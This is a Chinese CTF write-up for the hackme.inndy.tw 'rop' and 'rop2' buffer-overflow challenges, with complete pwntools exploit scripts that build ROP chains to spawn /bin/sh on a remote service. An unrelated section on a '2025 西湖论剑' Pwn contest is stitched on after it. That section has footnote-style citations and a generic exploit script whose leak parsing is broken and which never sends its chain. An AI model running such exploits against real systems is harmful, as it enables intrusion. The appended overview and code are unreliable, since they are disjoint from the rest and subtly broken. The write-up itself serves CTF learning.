rop和rop2的题目的wp

https://hackme.inndy.tw/scoreboard/ 题目很有趣,我做了rop和rop2这两个题目感觉还不错,我把wp分享出来,方便大家学习
首先先是rop这个题目,下载地址就在https://hackme.inndy.tw/scoreboard/,如果做题的网站关闭或者被墙,就可以从http://download.csdn.net/download/niexinming/10022831下载
rop的要求是:

nc hackme.inndy.tw 7704
Tips: Buffer Overflow, ROP

把rop直接拖入ida中
main函数:
image
overflow函数:
image
先运行一下程序看一下这个程序干了啥
image
再看看程序开启了哪些保护:
image
看到NX enabled是开启了栈不可执行,这时ROP就有应用空间了
这个程序很简单,就一个gets函数,所以栈溢出就好了
这个程序似乎是用的静态库,所以我用readelf -d rop来查看一下
image
果然是静态库,这时候推荐一个ppt讲的很好https://www.slideshare.net/hackstuff/rop-40525248,遇到这种题目推荐一个工具很不错:https://github.com/JonathanSalwan/ROPgadget/tree/master
首先这个题目只要输入20个a就可以覆盖函数返回值了
这个题目如果用工具的话也很简单,直接用ROPgadget –binary rop –ropchain 就可以生成好rop利用链了,一点都不用操心,真不错
image

然后我都exp就是:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'

from pwn import *
from struct import pack
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')

def debug(addr = '0x08048892'):
    raw_input('debug:')
    gdb.attach(io, "b *" + addr)

shellcode="/home/flag"
#  print disasm(shellcode)

elf = ELF('/home/h11p/hackme/rop')
#printf_addr = elf.symbols['printf']
#print "%x" % printf_addr
bss_addr = elf.bss()
print "%x" % bss_addr
offset = 16

#io = process('/home/h11p/hackme/rop')

io = remote('hackme.inndy.tw', 7704)
#bof=0x080488B7
#payload = 'A' * offset

###ROPgadget --binary ~/hackme/rop --ropchain
###https://www.slideshare.net/hackstuff/rop-40525248
    # Padding goes here
p = 'A' * offset
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

#debug()
io.sendline(p)
io.interactive()
io.close()

看一下效果:
image

下面介绍rop2这个题目,这个题目很有趣
rop2下载地址就在https://hackme.inndy.tw/scoreboard/,如果做题的网站关闭或者被墙,就可以从http://download.csdn.net/download/niexinming/10022836下载
rop2的要求是:

nc hackme.inndy.tw 7703
ROPgadget not working anymore

把rop直接拖入ida中
main函数:
image
overflow函数:
image
先运行一下程序看一下这个程序干了啥
image
再看看程序开启了哪些保护:
image
看到NX enabled是开启了栈不可执行,这时ROP就有应用空间了
这个程序很有趣,输入和输出都是用的syscall这个函数,关于syscall函数参考:http://blog.chinaunix.net/uid-28458801-id-4630215.htmlhttp://www.cnblogs.com/hazir/p/three_methods_of_syscall.html 这两个文章,syscall的第一个参数是系统调用的宏,后面的参数是系统调用所用的参数,这个宏具体可参考/usr/include/x86_64-linux-gnu/asm/unistd_32.h
image
可以看到输出是3,输出是4,执行系统命令是11,关于execve函数这篇文章讲的很不错http://blog.csdn.net/chichoxian/article/details/53486131,如果想用execve得到一个交互的shell的话,可以这样调用:execve(“/bin//sh”,NULL,NULL);
所以我就有一个想法,这里还是首先感谢M4x的点拨,M4x师傅真是太厉害了,首先,利用溢出后跳到main函数中这个syscall这个函数里面,并且传递参数(3,0,bss,8),意思就是在.bss里面写入payload,也就是/bin//sh,然后再利用overflow的溢出再次跳到main函数中这个syscall这个函数里面,此时传递的参数是(11,bss,null,null),就相当于执行了execve(“/bin//sh”,NULL,NULL); 这个函数一样,这样就可以得到shell了
下面是我的exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'

from pwn import *
import time
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')

def debug(addr = '0x8048485'):
    raw_input('debug:')
    gdb.attach(io, "b *" + addr)


elf = ELF('/home/h11p/hackme/rop2')
bss_addr = elf.bss()
print "%x" % bss_addr

shellcode='/bin//sh'
#shellcode=p32(0x0804847C)
elf = ELF('/home/h11p/hackme/rop2')
offset = 16

io = process('/home/h11p/hackme/rop2')

#io = remote('hackme.inndy.tw', 7703)

payload = 'a'*4 +'b'*4+'c'*4
payload += p32(0x080484FF)
payload += p32(0x080484FF)
#payload += p32(0x0804B054)
payload += p32(0x3)
payload += p32(0x0)
payload += p32(bss_addr)  #.bss
payload += p32(0x8)


payload2 = 'a'*4 +'b'*4+'c'*4
payload2 += p32(0x080484FF)
payload2 += p32(0x080484FF)
#payload += p32(0x0804B054)
payload2 += p32(0xb)
payload2 += p32(bss_addr)  #.bss
payload2 += p32(0x0)
payload2 += p32(0x0)

debug()
io.recvuntil('Can you solve this?\nGive me your ropchain:')
io.sendline(payload)
io.readline()
io.send(shellcode)
io.recvline(timeout=3)
io.sendline(payload2)

io.interactive()

io.close()

我来调试一下,首先把断点放在0x8048485这个地方,也就是overflow结尾的地方
image
这里有个坑,就是溢出后执行到overflow后面的leave;ret;会有堆栈不平衡的现象,明明溢出的地方在输入16个a之后的四个字节的地方,而leave指令相当于(mov ebp esp;pop ebp),而多出的ebp在输入12个a之后的四个字节中,这样的如果你的payloa是”a”*16+syscall_addr,那么程序在执行完overflow这个函数之后gdb就会崩溃
为了演示这个坑,我把exp中的payload改成

payload = 'a'*16
#payload += p32(0x080484ff)
payload += p32(0x080484FF)
#payload += p32(0x0804B054)
payload += p32(0x3)
payload += p32(0x0)
payload += p32(bss_addr)  #.bss
payload += p32(0x8)

image

所以在输入完12个a之后,再输入的四个字节应该是一个可读的地址空间,这个空间我选的是0x080484ff
所以paylaod就是:

payload2 = 'a'*4 +'b'*4+'c'*4
payload2 += p32(0x080484FF)
payload2 += p32(0x080484FF)
#payload += p32(0x0804B054)
payload2 += p32(0xb)
payload2 += p32(bss_addr)  #.bss
payload2 += p32(0x0)
payload2 += p32(0x0)

解决完上面的坑之后继续往下走
溢出后跳入到main函数中的syscall(也就是080484FF)这个位置
image
这里看到传递的参数是(3,0,bss,8),程序向下又执行到了overflow这个函数中
image
此时再发出一个paylaod来溢出这个函数

payload2 = 'a'*4 +'b'*4+'c'*4
payload2 += p32(0x080484FF)
payload2 += p32(0x080484FF)
payload2 += p32(0xb)
payload2 += p32(bss_addr)  #.bss
payload2 += p32(0x0)
payload2 += p32(0x0)

在gdb中输入c发现又断在了0x8048485这个地址
image
继续输入n向下执行,发现又跳到main函数中的syscall(也就是080484FF)这个位置
image
这里看到传递的参数是(11,bss,0,0),这里相当于执行execve(“/bin//sh”,NULL,NULL); 继续执行就成功了
来看一下效果
image

下面我放上M4x师傅写的exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])

elf = ELF("./rop2")
syscall_addr = elf.symbols["syscall"]
bss_addr = elf.bss()
ppppr_addr = 0x08048578

payload = fit({0xC + 0x4: [p32(syscall_addr), p32(ppppr_addr), p32(3), p32(0), p32(bss_addr), p32(8)]})
payload += fit({0x0: [p32(syscall_addr), p32(0xdeadbeef), p32(11), p32(bss_addr), p32(0), p32(0)]})

io = process("./rop2")
io.sendlineafter("your ropchain:", payload)
io.send("/bin/sh\0")
io.interactive()
io.close()

经过调试发现,M4x师傅在溢出后就跳入到.got.plt表的中的syscall的地方,并且传入参数
image
调用完syscall之后,利用rop把传入syscall的参数弹出,使堆栈平衡
image
image
然后再调用syscall,并传入(11,bss,0,0)
image
getshell
image

### 2025年西湖论剑WP Pwn比赛详情及相关信息 #### 比赛背景 2025年的第八届西湖论剑网络安全技能大赛中的Pwn部分,作为一项高水平的技术竞赛吸引了众多安全研究者技术爱好者参与[^1]。该赛事主要考察选手在二进制漏洞挖掘与利用方面的技术能力。 #### 参赛队伍概况 虽然具体参赛队伍名单未完全公开,但从往届情况来看,通常由国内外知名高校的安全团队、企业内部红队以及独立白帽黑客组成。这些队伍通过预选赛晋级决赛阶段,在比赛中展示其卓越的技术实力快速解决问题的能力[^4]。 #### 解题思路概述 以下是基于已有资料总结的一些典型Pwn题目及其解决方法: 1. **Canary泄露与栈溢出** - 题目可能设置了栈保护机制(Stack Canary),攻击者需先通过某种方式泄露Canary值。 - 利用缓冲区溢出覆盖返回地址,并结合ROP链调用`system("/bin/sh")`完成提权操作。 2. **堆风水与UAF (Use After Free)** - 堆管理错误是常见的一类漏洞形式之一。例如程序可能存在释放后重用指针或者大小计算不当等问题。 - 攻击策略包括调整内存布局使得特定数据结构被可控内容填充;进而伪造chunk header实现任意读写功能[^3]。 3. **格式化字符串漏洞** - 当输入参数未经严格校验便传递给printf系列函数时,则可能发生此类问题。 - 使用这种方法可以探知目标进程内部状态(如基址偏移量),为进一步构建payload奠定基础[^2]。 4. **Return-Oriented Programming (ROP) 技巧应用** - 对于开启了NX(non-executable stack)防护措施的目标环境来说,单纯注入shellcode难以奏效。 - 此刻就需要寻找gadgets组合起来执行所需命令序列。 ```python from pwn import * context.arch = 'amd64' elf = ELF('./vuln') libc = elf.libc # Establish connection to service or binary locally/remote. if args.REMOTE: io = remote('challenge.example.com', 1337) else: io = process([elf.path]) # Leak canary value via format string bug. io.recvuntil(b'What is your name? ') fmt_str_payload = b'%15$p.%19$p.' io.sendline(fmt_str_payload) leaked_data = io.recvline().strip() stack_canary, libc_base_leak = map(lambda x:int(x,16), leaked_data.split(b'.')) log.info(f'Stack Canary Value:{hex(stack_canary)}') # Calculate actual addresses based on leaks. base_addr_offset = u64(libc_base_leak.ljust(8,b'\x00')) - libc.symbols['puts'] system_plt = base_addr_offset + libc.symbols['system'] pop_rdi_ret_gadget = next(elf.search(asm('pop rdi; ret'))) bin_sh_string_loc = next(elf.search(b'/bin/sh\x00')) exploit_chain = flat([ pop_rdi_ret_gadget, bin_sh_string_loc, system_plt ]) offset_to_overwrite_return_address = cyclic_find(0x61616161) # Replace with correct offset found during fuzzing phase. final_exploit_buffer = fit({ offset_to_overwrite_return_address : exploit_chain },filler=b'A'*offset_to_overwrite_return_address) io.interactive() if args.DEBUG else None ```
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值